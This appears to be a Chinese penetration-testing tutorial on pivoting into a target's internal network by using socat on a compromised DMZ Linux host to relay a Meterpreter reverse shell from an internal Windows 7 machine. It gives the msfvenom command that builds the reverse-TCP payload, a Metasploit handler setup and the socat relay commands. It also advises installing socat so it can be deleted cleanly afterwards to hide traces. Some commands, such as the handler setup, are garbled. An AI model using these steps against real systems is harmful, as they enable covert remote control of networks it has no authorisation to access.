0x01 此次环境说明:
1 2 3
| lnmp01 假设为目标DMZ段机器,等会儿会作为proxy端 假设其公网ip为 192.168.3.30 假设其内网ip为 192.168.32.167
|
1 2
| win7 假设为目标内网机器 假设其内网ip为 192.168.32.144
|
1 2
| 本地机器 假设本地内网ip为 192.168.3.15
|
0x02 需要注意的一些前提条件
1
| 本地机器能ping通lnmp01,lnmp01和目标内网中的win7能互通
|
0x03 最终目的,实现双内网通信,即在我自己的内网中操作目标内网中的机器,当然,实现双内网通信的方式还有非常多,比如常用的几种方法:
1 2 3 4 5 6
| 最传统的是通过在vps利用lcx listen做转发,然后再在本地bind上去 另外,还是通过vps搭建vpn,本地先连到vpn内网中,再在vps上用lcx tran通过vpn内网转发到本地 还有,利用meterpreter自带的端口转发功能,当然啦,那个是通过meterpreter隧道自己来实现的,也就是说你要先把meterpreter的shell先弹回来,因为这个并非今天重点,暂不多做介绍,有兴趣可自行深度挖掘研究 再有,在一些高级点的马中也自带了各种内网代理功能.... 最后,就是接下来咱们要详细说明的这种,利用socat和目标DMZ建立双向通道,然后带出目标内网中所有机器的流量 ......
|
0x04 大概实现思路:
1
| DMZ机器作为代理 -> 将马的流量全部转到DMZ机器的指定端口上 -> 再在本地与代理端转出的端口建立双向通道 -> 本地只需要监听转过来的马的流量 -> 成功上线
|
0x05 先在 lnmp01 安装好socat,实战中推荐用编译安装,走的时候直接一并把整个安装目录干掉,干净:
0x06 本地准备好reverse的 payload,注意,这里的反连ip,要写目标边界DMZ的那台机器[即lnmp01]的ip:
1
| # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.30 LPORT=443 -f exe -o /root/shell.exe
|
0x07 本地开始执行监听:
1 2 3 4 5
| msf > use exploit/multi/handler msf exploit(handler) > set payload /meterpreter/ msf msf msf
|
0x08 在 lnmp01 上执行代理操作,意思比较简单,就是将本地的53和443端口进行绑定,相当于在本机建立一条管道,其实本机就是个中介,当有人访问本机的53端口,它就会把数据自动丢到本机的443端口上去,而443正好是我马的端口,这样,自然就造成了上线的效果:
1
| # nohup socat tcp-listen:53 tcp-listen:443
|
0x09 此时,再回到本地和proxy端建立双向通道,最好在后台一直挂着,意思就是将本地的443端口和proxy端的53端口进行绑定,这样,当你访问本地的443其实就相当于访问proxy端的53端口,而proxy端的端口又和它本地的443端口进行了绑定,所以当马的443端口流量弹回来的时候就相当于直接弹到我本地:
1
| # nohup socat tcp:192.168.3.30:53 tcp:192.168.3.15:443
|
0x10 最后在内网机器上执行payload,马成功上线
0x11 关于socat:
1 2 3
| 一款linux自带的高级端口转发工具,支持n多协议,基本上可以秒掉现在市面上已知的各类端口转发工具 当然,它绝非仅仅端口转发这么点功用,比如,建立各种隧道等等... 因为并非今天重点,这里不做过多说明,后续有空会详细说明
|
0x12 优点:
1 2 3 4
| 不再需要在vps上做转发 只需要一台边界机器即可让内网所有机器上线 稳定,socat属于系统自带工具,使用简单方便,较适合内网渗透 ....
|
0x13 缺点:
1 2
| 防火墙阻断对指定端口的访问,说实话,如果你已经拿到目标机器权限,用iptables开两个端口还是比较容易的,就怕其他的一些乱七八糟的防护 如果实在端口出不来,就只能通过各种复用,或者利用更底层的协议隧道来搞,如,icmp,udp隧道...
|